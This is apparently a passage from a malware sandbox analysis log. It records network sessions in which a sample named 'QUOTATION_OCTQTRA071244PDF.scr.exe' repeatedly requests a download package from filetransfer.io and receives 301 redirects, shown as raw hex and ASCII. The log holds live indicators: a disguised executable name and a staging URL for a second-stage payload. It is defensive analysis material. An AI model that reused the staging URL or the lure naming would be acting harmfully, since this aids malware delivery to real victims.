Oct 4, 2024 11:23:14.760363102 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49781	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:14.792690039 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:15.429342031 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JuPgHpHq2%2BMMeicLUiRWwg7xluAM1b%2Fj8BR1RX7i6cY8P77%2FWvNbrdJXMiocsYiuI2B2EVynWZDDIQgAgjaoHtjL40aembdGIrPlKTU%2BWW6ILHGKuOuOm2rO%2FSYEMW4%2BRzc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cb3edd641a1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:15.431256056 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:15.624874115 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XSYCdMs%2FgPHeC5g%2FrajSQNtDxRnUKTjbw%2F2Giyrv7ez6IgT0bO4%2BuHuv%2BSKlIbp8F5bCFWuMA%2FgzCuWtf8hJytYUok43O6rG5VH%2FLXRGD2zQJUEPgpXaUizPuzCzQsgPR9M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cb5bf0a41a1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:15.626769066 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:15.817162037 CEST	664	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GjFUfPPiZ8U4TvR24tZFhA9iqYyfrZGQ2lUI1Nkv7sVQ03%2FkBpzYWxe6Tb%2Bu4C%2ByWo3jP1FwYOYiyEg7zoBT%2FqHTgG4%2B2I0RxRU48vcrjBxi7oX6l%2FaBZ28bKanYokO6th0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cb6ffbf41a1-EWR
Oct 4, 2024 11:23:15.944236040 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49784	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:15.951092005 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:16.613882065 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M5VI%2FMOqx3ueODEtVnwb7ewDqjtd%2BdrUkKOSPzzYca2l9pAnMWWZyQzf6eFBN0BoATjsX%2BW83On%2Be8kujNBBNvpQY5wj6DXqzKIk0IdgxWQoTpwNtlBKwz8Wd7zJzpfuyA0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cbb4d96de93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:16.615766048 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:16.819170952 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yolgPNiqwr88eTEDwVHEwckajtQkK8MvZ0nPyBne8gywDKzHpyh7kJbLLkSnVWt%2FNCxDIwGFCsPKzvVYSMyqBzheBEMj7PKUXMI9lkdkfUI8aDBcMiCrFzdMx98qQ0Sa7Oo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cbd1f98de93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:16.821149111 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:17.014106989 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xhU1FBnFpo1WExUb1eWqpsm9nmr6wL5Aoiv1RsZlJgGKfCA%2FI1wJhfRlMu9XWfD%2Br6xvcQUk3WZ%2F7pCn3i8TPjtAtowJWN%2B36Sv7QXut4ds0kILULlFsdv2xFJ%2Ba0%2B%2Fo5QQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cbe691ade93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:17.016078949 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:17.206984997 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SQiwkdoq7wkDTxtwvFDUMag2ANsCRHn%2BmtrAnCuQQJtxsGu6On57YDvBPakSHrER98%2B4PB8C737yAHVyA7cZLUYiJfNY9uUTRrI%2B0H370JHJu8IYwkt83k6NY8rUaWr3IJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cbf9ad2de93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:17.209351063 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:17.400221109 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JNou9vJ%2FQ7q%2FGkZDuReskB2cBEzH7G5ZvJfNqyZsnryMKNuG8r3ImDoqfBcjKA6I1DR2q0yhQwhFX%2BN6SPFWTsBVqGF69pn0mwq%2BemOXIx%2BY3fj3FjPRTFMfy%2F3wNNWtBbQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc0dc4ade93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:17.402091980 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:17.596251011 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A8ji7hJtSMjXdiVLCwbKeZDfavemMQFS4bIuHyh8%2FNceaG8FsNWP%2FalAzVZqDmBnGHCuAwlGG52JrUkj2SzF0S8nvnM1xhQ6a%2BZPrxz6Fl0nBTFTMGxYTd8aOMSDnL0nF0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc20dadde93-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:17.598246098 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:17.788676977 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FAXJTGRGX0uS5bAiSwONvNy2QnGjZQxtxckhoScITf1EsFOQpq0cg8gftI5%2Fkc1BSmmf6pGLg%2Fewdss140P%2BAaC2aSVOiPFq%2FeGtQCNw3mx8KARZUKQNDDhaxuuJeephADA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc34f31de93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:17.791410923 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:17.983159065 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XhRy1w9Czmq6IQdOpCOZsRBFUeV69ZR3ghAbuDZxURLzJBINRiZeUnjNixGXhsf%2BNnQ4CyYbqYASm8U11YRkJp%2BlBuwRm6sI6%2FlqG6h93nMurntL19IxmydenrhE%2FWM914o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc4788cde93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:17.984863997 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:18.192972898 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=abB08d0kU7cYhRXV%2BxQEdFNv7%2F%2Fsr1R5sj3ig%2Bzj3Gztdr8Pj9b6bMr9WodwoSW6U4MWTs0f1nb2%2BmzOROEXcR5VFF4vy9rbEQPKRwJG3%2FEWqNpndrIniJuIHsBxyLRUPeg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc5caa2de93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:18.195336103 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:18.505068064 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:18.525197983 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=abB08d0kU7cYhRXV%2BxQEdFNv7%2F%2Fsr1R5sj3ig%2Bzj3Gztdr8Pj9b6bMr9WodwoSW6U4MWTs0f1nb2%2BmzOROEXcR5VFF4vy9rbEQPKRwJG3%2FEWqNpndrIniJuIHsBxyLRUPeg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc5caa2de93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:18.710093975 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0MPPttIN6sZcmJF%2FTRWJkChoQfTA42Zr2ARMHqj%2F%2BucAGS2w%2FaIIuzwHPrGriP6EP6OOFjCiC3eEuf6BQPReDmYlY7WUZorSmVbL9X0Npn1kYksij2CnequztANNsXwsJk0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cc90efdde93-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:18.711918116 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
